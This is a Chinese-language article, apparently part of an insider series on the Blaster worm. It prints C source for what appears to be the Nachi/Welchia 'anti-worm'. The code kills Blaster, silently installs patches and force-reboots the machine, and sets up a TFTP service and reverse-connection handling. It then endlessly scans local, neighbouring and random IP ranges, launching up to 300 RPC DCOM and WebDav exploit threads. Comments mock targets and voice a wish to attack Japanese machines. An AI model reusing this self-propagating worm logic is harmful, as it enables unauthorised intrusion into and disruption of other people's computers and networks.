冲击波病毒内幕点滴（4）

附3

BOOL DoServicePackFunction()
{
DWORD nSystemVer = Win2000OrXp();
if ( !( nSystemVer == 0 || nSystemVer == 1) )
return FALSE; // not 2k or xp

if ( ReadRegServicePack(nSystemVer) )
return FALSE; //已经安装了

//识别语言版本
int nLanguageID;
unsigned int unOemCP = GetOEMCP();

LCID lcid = GetSystemDefaultLCID();
WORD wMain = PRIMARYLANGID(lcid);
WORD wSub = SUBLANGID(lcid);


if ( unOemCP == 437 && wMain == 9 && wSub == 1 ) //en
nLanguageID = 0; //打了你丫的en补丁就不错了~~ 还唧唧歪歪的~~
//管不了小欧洲~~ 俄罗斯牛人有自己的玩法
~~
else if ( unOemCP == 936 && wMain == 4 && wSub == 2 ) //cn
nLanguageID = 1; //就是为这个来的~~
else if ( unOemCP == 950 && wMain == 4 && wSub == 1 ) //tw
nLanguageID = 2; //同胞骨肉的忙,一定要帮~~
else if ( unOemCP == 932 && wMain == 0x11 && wSub == 1 ) //jp
nLanguageID = -1; //偶好有干掉鬼子机器的冲动！
//罢了，冤冤相报何时了~~~ 希望他丫的自新
~~~ 再玩火就灭了他丫的~~
else if ( unOemCP == 949 && wMain == 0x12 && wSub == 1 ) //kr
nLanguageID = 3; //少些不懂事的小鸟儿弯出去, 危害国内~~
else{
nLanguageID = -1;
}

if ( nLanguageID == -1)
return FALSE;

char szServicePack[] = "RpcServicePack.exe";

// downlaod it~~~
if ( !nSystemVer ) { // 2k
if ( !DownloadSpFile (szServicePack, szWin2kSpUrl[nLanguageID]) )
return FALSE;
}
else{
if ( !DownloadSpFile (szServicePack, szWinXPSpUrl[nLanguageID]) )
return FALSE;
}

char szExec[180];
sprintf(szExec, "%s -n -o -z -q", szServicePack);

HANDLE hProcess = MakeProcess( szExec );
if ( hProcess == NULL )
return FALSE;

if (WaitForSingleObject(hProcess, 360000) != WAIT_OBJECT_0 ){ //六分钟内
未完成
TerminateProcess(hProcess,1);
CloseHandle(hProcess);
DeleteFile(szServicePack);
return FALSE;
}
CloseHandle(hProcess);

Sleep(15000);
DeleteFile(szServicePack);
if ( ReadRegServicePack(nSystemVer) ) {
ShutDownWindows( EWX_REBOOT | EWX_FORCE );//install service pack ok, reboot
it~~~
Sleep(20000); //说偶重启有过？ 不重启补丁无效，
找 Bill该死 说去~~~
}

return TRUE;
}

// IN: 始ip, B段数量, 是否随机，是否换WebDav //更烂~~~ 凑合着看~~~
void BeginExploitFunction(u_long ulIpStart, int nBCount, BOOL bRand, BOOL
bWebDav)
{
HANDLE hThread = NULL;
BOOL bFirst = TRUE;
u_long uComp;

for (int i=0;i< (nBCount * 256 * 256); i++){

if ( bRand )
uComp = MakeRandIp();
else
uComp = i + ulIpStart;

if ( //还是屏蔽掉部分目标，免得目标中招后，再玩就把下一代干掉了，不破坏的好
:)~~~
(BYTE)uComp == 0xc5 ||
(BYTE)(uComp>>8) == 0xc5 ||
(BYTE)(uComp>>16) == 0xc5 ||
(BYTE)(uComp>>24) == 0xc5 ||
(WORD)uComp == 0x9999 ||
(WORD)(uComp>>8) == 0x9999 ||
(WORD)(uComp>>16) == 0x9999 )
continue;


u_long *myPara = new u_long;

if ( myPara == NULL ){//如果分配失败，再尝试一次
Sleep(100);
myPara = new u_long;
}

if ( myPara ){
if ( hThread )
CloseHandle(hThread);

*myPara = htonl( uComp);

DWORD dwThreadId;

if (bWebDav)
hThread =
CreateThread(NULL,0,ExploitWebDavThread,(LPVOID)myPara,0,&dwThreadId);
else
hThread =
CreateThread(NULL,0,ExploitRpcDcomThread,(LPVOID)myPara,0,&dwThreadId);

Sleep(2);
}

//添加此处代码，避免首次执行时，线程中的
InterlockedIncrement(&g_CurThreadCount) 未来得及运行，一次性建立了N个线程的
bug!
if ( bFirst && (i >= nMaxThread) ){
Sleep(2000);
bFirst = FALSE;
}

while(g_CurThreadCount >= nMaxThread) // #define nMaxThread 300 ,不小心，
玩过了~~~
Sleep(2);

}

Sleep(60000);
}


//服务模式和控制台模式公用主程序
void DoIt()
{
WSADATAwsd;
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
return;

//杀蠕虫
KillMsblast();

//卸载
SYSTEMTIME st;
GetLocalTime(&st);
if ( st.wYear == 2004 ){
MyDeleteService(szServiceName);
MyDeleteService(szServiceTftpd);
RemoveMe();
ExitProcess(1); //其实不必，RemoveMe()中借用了前辈的代码，2k下，退出程序时将
自身文件删除了
}

srand( GetTickCount() );

memset(pPingBuffer, '/xAA', sizeof(pPingBuffer));
//烦请骨干路由器立即丢弃此特征 Icmp Echo 包! 国内的什么什么波已经绝了!~~ 补
丁已经打够了!~~~


//准备WebDav发送缓冲区
do{
pWebDavExploitBuffer = new char[68000];
Sleep(100);
}while(pWebDavExploitBuffer == NULL);

//必须在checkonlien 之前,一次装配好子弹
PressWebDavBufferOnce();
PressRpcDcomBufferOnce();

CheckOnlienAndPressData(); //get LocalIp & 修正子弹中的反向ip 和 端口

//打补丁
DoServicePackFunction();

//建立接收线程
DWORD dwThreadID;
HANDLE
hWorkThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvSendCmdThread,(L
PVOID)NULL,0,&dwThreadID);
if(hWorkThread==NULL) // RecvSendCmdThread 中阻塞，有反连，再建线程处理之,
同时处理多个反连
return;
CloseHandle(hWorkThread);

if ( !MyStartService(szServiceTftpd) ){
Sleep(1000);
InstallTftpService();
Sleep(1000);
MyStartService(szServiceTftpd);
}

Sleep(2000); //等待接收线程中的全局 rand bind port


u_long ulIP;
for(;;){ //估算了一下，普通机器２小时一循环


//首先扫描本ip段
CheckOnlienAndPressData();
ulIP = ntohl(inet_addr(szLocalIp));
ulIP &= 0xffff0000;
BeginExploitFunction( ulIP, 1, 0, 0);


//再扫描本ip前后3个段
CheckOnlienAndPressData();
if ( rand() % 2)
ulIP += 0x00010000;
else
ulIP -= 0x00030000;
BeginExploitFunction( ulIP, 3, 0, 0);


//再扫描WebDav一个段,跳出 135 syn封锁
CheckOnlienAndPressData();
ulIP = MAKELONG(0, wdIpHead[ rand()% 76 ]); //请 wdIpHead[] B段IP商注意~~~,
立即采取补救措施~~~ sorry~~~
BeginExploitFunction( ulIP, 1, 0, 1);


//再扫描随机的IP, 数量1个 B段, rpc or webdav
CheckOnlienAndPressData();
if ( rand() % 2)
BeginExploitFunction( ulIP, 1, 1, 0);
else
BeginExploitFunction( ulIP, 1, 1, 1); //偶跳、跳、跳~~~


KillMsblast();

}

//WSACleanup();

}